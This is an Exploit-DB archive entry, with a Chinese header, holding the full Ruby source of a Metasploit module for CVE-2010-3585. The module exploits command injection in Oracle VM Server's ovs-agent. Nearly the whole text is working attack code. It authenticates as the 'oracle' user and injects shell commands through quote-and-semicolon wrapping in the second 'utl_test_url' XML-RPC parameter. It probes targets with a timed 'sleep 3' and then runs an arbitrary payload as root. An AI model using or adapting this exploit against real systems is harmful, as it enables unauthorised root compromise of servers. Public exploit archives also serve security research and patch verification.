标题: Oracle VM Server Virtual Server Agent - Command Injection (Metasploit) EDB-ID: 16915 CVE: 2010-3585 类型: REMOTE 平台: LINUX 发布日期: 2010-10-25 漏洞利用脚本: ##
# $Id: oracle_vm_agent_utl.rb 10821 2010-10-25 20:58:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle VM Server Virtual Server Agent Command Injection',
   'Description'    => %q{
     This module exploits a command injection flaw within Oracle\'s VM Server
    Virtual Server Agent (ovs-agent) service.

    By including shell meta characters within the second parameter to the 'utl_test_url'
    XML-RPC methodCall, an attacker can execute arbitrary commands. The service
    typically runs with root privileges.

    NOTE: Valid credentials are required to trigger this vulnerable. The username
    appears to be hardcoded as 'oracle', but the password is set by the administrator
    at installation time.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10821 $',
   'References'     =>
    [
     # ovs-agent.spec:- Fix ovs agent command injection [orabug 10146644] {CVE-2010-3585}
     ['CVE', '2010-3585'],
     ['OSVDB', '68797'],
     ['BID', '44047']
    ],
   'Privileged'     => true,
   'Platform'       => ['unix', 'linux'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space' => 512,
     'BadChars' => '<>',
     'DisableNops' => true,
     'Keys'  => ['cmd', 'cmd_bash'],
    },
   'Targets'        => [ ['Automatic', { }], ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 12 2010'
   ))

  register_options(
   [
    Opt::RPORT(8899),
    OptBool.new('SSL', [ true, 'Use SSL', true ]),
    OptString.new('CMD', [ false,  "A single command to execute instead of the payload" ]),
    OptString.new('USERNAME', [ true,  "The user to authenticate as", 'oracle']),
    OptString.new('PASSWORD', [ true,  "The password to authenticate with" ])
   ], self.class)

  deregister_options(
   'HTTP::junk_params', # not your typical POST, so don't inject params.
   'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
   )
 end

 def go(command)
  datastore['BasicAuthUser'] = datastore['USERNAME']
  datastore['BasicAuthPass'] = datastore['PASSWORD']

  xml = <<-EOS
<?xml version="1.0"?>
<methodCall>
<methodName>utl_test_url</methodName>
<params><param>
<value><string>PARAM1</string></value>
</param></params>
<params><param>
<value><string>PARAM2</string></value>
</param></params>
<params><param>
<value><string>PARAM3</string></value>
</param></params>
<params><param>
<value><string>PARAM4</string></value>
</param></params>
</methodCall>
EOS

  sploit = rand_text_alphanumeric(rand(128)+32)
  sploit << "';" + command + ";'"

  xml.gsub!(/PARAM1/, 'http://' + rand_text_alphanumeric(rand(128)+32) + '/')
  xml.gsub!(/PARAM2/, sploit)
  xml.gsub!(/PARAM3/, rand_text_alphanumeric(rand(128)+32))
  xml.gsub!(/PARAM4/, rand_text_alphanumeric(rand(128)+32))

  res = send_request_cgi(
   {
    'uri'          => '/RPC2',
    'method'       => 'POST',
    'ctype'        => 'application/xml',
    'data'         => xml,
   }, 5)

  if not res
   if not session_created?
    print_error('Unable to complete XML-RPC request') 
    return nil
   end
   
   # no response, but session created!!!
   return true
  end

  case res.code
  when 403
   print_error('Authentication failed!')
   return nil

  when 200
   print_good('Our request was accepted!')
   return res

  end

  print_error("Encountered unexpected #{res.code} reponse:")
  print_error(res.inspect)

  return nil
 end

 def check
  print_status("Attempting to detect if the server is vulnerable...")

  # Try running/timing sleep 3
  start = Time.now
  go('sleep 3')
  elapsed = Time.now - start
  if elapsed >= 3 and elapsed <= 4
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  print_status("Attempting to execute the payload...")

  cmd = datastore['CMD']
  cmd ||= payload.encoded

  if not go(cmd)
   raise RuntimeError, "Unable to execute the desired command"
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16915